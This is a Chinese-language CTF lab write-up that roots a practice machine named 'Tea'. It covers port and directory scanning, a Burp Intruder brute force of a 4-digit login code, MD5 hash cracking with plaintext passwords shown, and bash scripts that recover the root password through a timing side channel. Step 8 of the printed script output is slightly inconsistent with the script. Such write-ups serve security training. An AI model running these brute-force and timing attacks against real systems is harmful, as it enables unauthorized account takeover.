

Nmap

SHELL

```
[root@kali] /home/kali/tea
> nmap 192.168.55.79 -sV -A -p-

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_ http-server-header: Apache/2.4.62 (Debian)
|_ http-title: Tea.dsz |
\xE7\xBD\x91\xE7\xBB\x9C\xE5\xAE\x89\xE5\x85\xA8\xE6\xA0\xBC\xE8\xA8\x80
```

Dirsearch

SHELL

```
[root@kali] /home/kali/tea
> dirsearch -u http://192.168.55.79
↵

 _|. _ _ _ _ _ _|_   v0.4.3
( _||| _ ) (/ _ (| | )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 |
Wordlist size: 12289

Target: http://192.168.55.79/

[04:52:50] Scanning:
[04:52:51] 403 - 278B - /.php
[04:53:00] 200 - 8KB - /index.html
[04:53:00] 200 - 8KB - /login.php
[04:53:03] 403 - 278B - /server-status
[04:53:03] 403 - 278B - /server-status/

Task Completed
```

发现有一个登录界面

Login Brute

有两种登录方法，先试试第一种密码登录

使用弱密码尝试: `admin/'admin`，进入后得到一个用户列表

- test
- guest
- admin
- lingmj

尝试使用 `lingmj` 来进行验证码登录呢？因为其余三个都是密码和用户名相同，只有 `lingmj` 登不进去

注意到底部有一个邮箱格式，要和他对应起来

验证码登录

邮箱地址

lingmj@tea.dsz

验证码

0000

验证登录

使用密码登录

技术支持: support@tea.dsz

然后抓包进行爆破验证码，因为前端的错误返回实际上并没有效果

DashboardTargetProxyIntruderRepeaterSequencerDecoderComparerLoggerExtenderProject optionsUser optionsLearn

1 ×2 ×...

PositionsPayloadsResource PoolOptions

Choose an attack type

Attack type: Sniper

Start attack

Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: http://192.168.55.79

☒ Update Host header to match target

Add \$

Clear \$

Auto \$

Refresh

1 POST /code_login.php HTTP/1.1

2 Host: 192.168.55.79

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded

8 Content-Length: 32

9 Origin: http://192.168.55.79

10 Connection: close

11 Referer: http://192.168.55.79/code_login.php

12 Cookie: PHPSESSID=ldehcovpci30ebc9vt2bqgub0s

13 Upgrade-Insecure-Requests: 1

14 Priority: u=0, i

15

16 email=lingmj%40tea.dsz&code=\$1111\$

0 matches

Clear

1 payload position

Length: 623

修改数字范围

1 ×2 ×...

PositionsPayloadsResource PoolOptions

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload type can be customized in different ways.

Payload set: 1

Payload count: 10,000

Payload type: Numbers

Request count: 10,000

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ☒ Sequential ☐ Random

From: 0000

To: 9999

Step: 1

How many:

Number format

注意到有一个特殊返回值

Request	Payload	Status ▾	Error	Timeout	Length	Cor
8380	8379	302	<input type="checkbox"/>	<input type="checkbox"/>	311	
0		200	<input type="checkbox"/>	<input type="checkbox"/>	8934	
1	0	200	<input type="checkbox"/>	<input type="checkbox"/>	8934	
2	1	200	<input type="checkbox"/>	<input type="checkbox"/>	8934	
3	2	200	<input type="checkbox"/>	<input type="checkbox"/>	8934	
4	3	200	<input type="checkbox"/>	<input type="checkbox"/>	8934	
5	4	200	<input type="checkbox"/>	<input type="checkbox"/>	8934	
6	5	200	<input type="checkbox"/>	<input type="checkbox"/>	8934	

使用这个验证码即可登录到 `lingmj`

Crack Pass

登录后，得到用户名和密码哈希

Black

83796a396478e084663c06aa25425864

Red

d390587c3997d1f6b4e4fe968327e3a2

Flower

3c96be08e8b399d1b990f2f5c4939f8b

到这里去解密: [CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.](#)

```
[root@kali] /home/kali/tea
> cat pass.txt
Black:1234hak54321
Red:123bugme
Flower:Cartman
```

都可以进行登录，在 `red` 的目录下拿到 `user.txt`

Root

注意到 `/opt` 目录下有一个 `check_root_passwd` 可执行但不可读，经过手动测试，在输入长度为 `10` 位的时候会有一个明显的停顿，可以用以下脚本来测试

```
#!/bin/bash
```

```
start_time_ns=$(date +%s%N)
```

```
output=$(/opt/check_root_passwd "$1")
```

```
end_time_ns=$(date +%s%N)
```

```
elapsed_ns=$((end_time_ns - start_time_ns))
```

```
elapsed_sec=$(awk "BEGIN { printf \"%.6f\", $elapsed_ns / 1000000000 }")
```

```
echo "Output: $output"
```

```
echo "Time elapsed: $elapsed_sec seconds"
```

```
flower@Tea:/tmp$ ./poc.sh 12345678
Output: Password error
Time elapsed: 0.000748 seconds
flower@Tea:/tmp$ ./poc.sh 1234567890
Output: Password error
Time elapsed: 0.201209 seconds
flower@Tea:/tmp$
```

因此有理由怀疑，密码长度是10位，但是直接使用rockyou.txt来爆破是无法成功的，还是得手动测试每一位。并且发现如果当前位匹配了正确的字符，停顿时间也会不一样，因此可以写一个脚本来进行爆破

```
#!/bin/bash
```

```
charset="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
known=""
```

```
for ((i=1; i<=10; i++)); do
    best_char=""
    max_time=0

    for c in $(echo "$charset" | fold -w1); do
        attempt="$known$c$(head -c $((10 - i)) < /dev/zero | tr '\0' 'a')"
        start=$(date +%s%N)
        /opt/check_root_passwd "$attempt" > /dev/null
        end=$(date +%s%N)
        elapsed=$((end - start))

        if (( elapsed > max_time )); then
            max_time=$elapsed
            best_char=$c
        fi
    done

    known+=$best_char
    echo "[i] -> $known (time: $max_time ns)"
done
```

```
flower@Tea:/tmp$ ./exp.sh
[1] -> t (time: 251699465 ns)
[2] -> to (time: 301870467 ns)
[3] -> tod (time: 351236807 ns)
[4] -> todd (time: 401322793 ns)
[5] -> toddz (time: 452937164 ns)
[6] -> toddzh (time: 502574658 ns)
[7] -> toddzhe (time: 553767148 ns)
[8] -> toddzhenn (time: 602728613 ns)
[9] -> toddzhennb (time: 652954006 ns)
[10] -> toddzhennb (time: 703007460 ns)
```

得到密码成功登录

```
flower@Tea:/tmp$ su root
Password:
root@Tea:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@Tea:/tmp#
```